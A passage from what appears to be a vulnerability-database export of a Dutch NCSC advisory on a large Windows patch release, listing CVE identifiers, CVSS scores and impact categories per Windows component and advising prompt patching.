Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K - GRFX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows PowerShell: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40400 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Secure Socket Tunneling Protocol (SSTP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50694 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Sensor Data Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50367 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58619 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50369 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58626 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Server Network driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56188 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Domain Controller: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50424 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Local Security Authority Subsystem Service (LSASS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40378 | 7.50 | Denial-of-Service                   | \n| CVE-2026-49799 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows AppX Deployment Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49803 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing Queue Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54992 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-50439 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nDesktop Window Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50692 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58633 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58634 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57097 | 6.40 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows SMB: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54997 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49801 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50690 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58531 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Media: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34349 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50327 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50404 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50358 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50336 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50398 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50414 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50379 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50433 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50394 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50415 | 5.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50655 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50676 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50677 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58542 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Graphics Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58609 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50483 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Print Spooler Components: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58608 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50383 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50499 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57085 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nUniversal Plug and Play (upnp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49180 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50455 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58547 | 5.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50323 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50452 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50348 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50345 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50322 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50340 | 8.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50410 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50449 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50460 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50403 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50385 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50413 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50457 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50486 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50503 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54125 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58527 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows TCP/IP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49177 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54999 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50306 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50307 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Secure Kernel Mode: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42982 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50392 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Resilient File System (ReFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54109 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49792 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49793 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50318 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50407 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50357 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50441 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50362 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50492 | 6.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50501 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58530 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Cloud Files Mini Filter Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50401 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50374 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58536 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58613 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Quality of Service (QoS) Packet Scheduler: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50431 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49167 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49173 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54132 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58614 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-49795 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49798 | 9.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50294 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49808 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50316 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50354 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50300 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50332 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50329 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50419 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50377 | 5.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50390 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50463 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50423 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50397 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50436 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50399 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50475 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50429 | 8.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50459 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50477 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50478 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50484 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50670 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50673 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50688 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50687 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56643 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56644 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58532 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58545 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows GDI+: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54122 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49796 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50380 | 9.60 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Network Policy Server SNMP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50470 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50496 | 7.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Audio Compression Manager (ACM): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50351 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50497 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nHTTP/2: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49788 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Universal Disk Format File System Driver (UDFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49790 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50498 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DirectX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49807 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50375 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50353 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50382 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58629 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows File History Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57091 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows BitLocker: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50661 | 6.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Telephony Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50669 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows StateRepository API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49170 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows WalletService: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\n```", "creation_timestamp": "2026-07-15T01:01:20.813542Z"}, {"uuid": "f216df30-c183-42a9-bdf6-4c93d237feef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54991", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0231", "content": "Microsoft heeft een zeer groot aantal kwetsbaarheden verholpen in Windows. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot de categorie\u00ebn schade, zoals genoemd in onderstaande tabel.\n\nDe ernstigste kwetsbaarheden hebben kenmerken **CVE-2026-49172, CVE-2026-56190, CVE-2026-54990, CVE-2026-49798, CVE-2026-50380, CVE-2026-50447, CVE-2026-50518, CVE-2026-56159, CVE-2026-56188 en CVE-2026-57092** toegewezen gekregen en bevinden zich in respectievelijk de FTP service, Remote Desktop (client en server), de Kernel, GDI+, Message Queuing Service, DHCP Server, Server Network Driver en VMSwitch.\nKwaadwillenden met toegang tot deze services kunnen zonder voorafgaande authenticatie mogelijk code uitvoeren of zich toegang verschaffen tot het kwetsbare systeem.\n\nNaast deze ernstige kwetsbaarheden zijn nog eens meer dan 400 kwetsbaarheden verholpen, allen varierend in ernstigheid van middelmatig tot hoog/kritiek.\n\nDoor de aard en omvang van deze updates, adviseert het NCSC om deze updates met voorrang in te zetten.\n\n```\nWindows Admin Center: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56169 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56185 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57107 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58631 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56196 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56197 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Management Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58544 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Audio Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34328 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50440 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58538 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Install Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50343 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nVirtual Hard Disk (VHD) Miniport Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58601 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50311 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Update Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50328 | 7.50 | Manipulatie van gegevens            | \n| CVE-2026-50444 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54107 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54986 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54112 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54114 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49805 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50297 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50325 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50416 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50489 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56184 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57095 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58632 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Terminal: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54124 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows RDP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55003 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57979 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50376 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50445 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54126 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56190 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57982 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58533 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58535 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58546 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58539 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58594 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Internet Key Exchange (IKE) Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50696 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nQuality Windows Audio/Video Experience (QWAVE) service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54989 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows RPC API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50365 | 8.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nReliable Multicast Transport Driver (RMCAST): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54982 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-54995 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Kernel Mode Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58602 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Service Infrastructure: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56647 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Trusted Runtime Interface Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50350 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Push Notifications: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50363 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50434 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50339 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50430 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Common Log File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50697 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nContent Delivery Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50427 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows LUAFV: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50371 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows App Store: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42900 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49165 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49784 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50356 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DNS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49174 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50295 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50465 | 7.10 | Manipulatie van gegevens            | \n| CVE-2026-50495 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50487 | 8.10 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Data.dll: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50347 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Boot Loader: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58638 | 6.00 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows VMSwitch: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57092 | 9.90 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Connection Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50666 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Input Method Editor (IME): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58534 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Search Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50373 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50679 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Domain Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49164 | 8.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-57976 | 6.50 | Denial-of-Service                   | \n| CVE-2026-49178 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50366 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Routing and Remote Access Service (RRAS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49791 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50451 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57096 